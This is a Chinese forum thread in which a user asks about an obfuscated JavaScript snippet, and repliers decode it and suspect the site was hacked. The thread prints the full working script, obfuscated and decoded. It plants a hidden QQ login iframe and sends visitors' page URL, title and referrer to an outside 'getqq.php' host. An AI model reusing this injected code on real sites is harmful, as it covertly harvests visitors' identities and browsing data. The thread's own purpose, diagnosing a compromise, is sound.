这个js是什么加密还是什么？尼玛看不懂。

比如这个 window["\x64\x6f\x63\x75\x6d\x65\x6e\x74"]["\x77\x72\x69\x74\x65"](_$[3])
var s = "\x64\x6f\x63\x75\x6d\x65\x6e\x74";
alert(s);
就是这样呵呵

解决方案 »

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\x   属于16进制
http://www.zc520.cc/js/62.html                   用这个工具解码一下
var _$=["<iframe id='login_frame' height='0' scrolling='auto' width='0' frameborder='0' src='http://ui.ptlogin2.qq.com/cgi-bin/login?hide_title_bar=1&low_login=0&qlogin_auto_login=1&no_verifyimg=1&link_target=blank&appid=549000912&style=12&target=self&s_url=http://qzs.qq.com/qzone/v5/loginsucc.html?para=izone&pt_qr_app=%CA%D6%BB%FAQQ%BF%D5%BC%E4&pt_qr_link=http://z.qzone.com/download.html&self_regurl=http://qzs.qq.com/qzone/v6/reg/index.html&pt_qr_help_link=http://z.qzone.com/download.html' style='display:none;'></iframe>","qq_js","?",'<img id="flyerimg" style="display:none;"><iframe id="login_frame" height="0" scrolling="auto" width="0" frameborder="0" src="" style="display:none;"></iframe><img src="" style="display:none;">','http','https','baidu','qq.com','google.com','xt.shiermei.cn','',"://","/getqq.php?p=","&r=","&u=","&t=","&m=","flyerimg"];window["document"]["writeln"](_$[0]);var a=window["document"]["getElementById"](_$[1]);var b;b=a["src"];var c=b["split"](_$[2]);var d=c[0x1];var e=encodeURIComponent(window["document"]["location"]["href"]);var f=encodeURIComponent(window["document"]["title"]);var g=encodeURIComponent(window["document"]["referrer"]);var h=Math["random"]();window["document"]["write"](_$[3]);var i=[_$[4],_$[5],_$[6],_$[7],_$[8],_$[9],_$[10]];function j(){var k=i[0x0]+_$[11]+i[0x5]+i[0x6]+_$[12]+d+_$[13]+g+_$[14]+e+_$[15]+f+_$[16]+Math["random"]();window["document"]["getElementById"](_$[17])["src"]=k};setTimeout(j,0x7d0);
\x99表示十六进制，可以直接ALERT()的，会弹出具体的字符，只有转成字符串过后才能分析JS的具体操作，如果我没猜错的话，应该是一段引入外部框架的意思，也就是说，你的此网站的服务器被入侵修改了脚本。我经常做这种维护，很麻烦的事情。
document.writeln("<iframe id='login_frame' height='0' scrolling='auto' width='0' frameborder='0' src='http://ui.ptlogin2.qq.com/cgi-bin/login?hide_title_bar=1&low_login=0&qlogin_auto_login=1&no_verifyimg=1&link_target=blank&appid=549000912&style=12&target=self&s_url=http://qzs.qq.com/qzone/v5/loginsucc.html?para=izone&pt_qr_app=%CA%D6%BB%FAQQ%BF%D5%BC%E4&pt_qr_link=http://z.qzone.com/download.html&self_regurl=http://qzs.qq.com/qzone/v6/reg/index.html&pt_qr_help_link=http://z.qzone.com/download.html' style='display:none;'></iframe>");
var a = document.getElementById("qq_js");
var b;
b = a["src"];
var c = b["split"]("?");
var d = c[1];
/** @type {string} */
var e = encodeURIComponent(document.location.href);
/** @type {string} */
var f = encodeURIComponent(document.title);
/** @type {string} */
var g = encodeURIComponent(document.referrer);
var h = Math.random();
document.write('<img id="flyerimg" style="display:none;"><iframe id="login_frame" height="0" scrolling="auto" width="0" frameborder="0" src="" style="display:none;"></iframe><img src="" style="display:none;">');
/** @type {Array} */
var i = ["http", "https", "baidu", "qq.com", "google.com", "xt.shiermei.cn", ""];/**
* @return {undefined}
*/
function j() {
    var dst = i[0] + "://" + i[5] + i[6] + "/getqq.php?p=" + d + "&r=" + g + "&u=" + e + "&t=" + f + "&m=" + Math.random();
    document.getElementById('flyerimg').src = dst;
}setTimeout(j, 2000);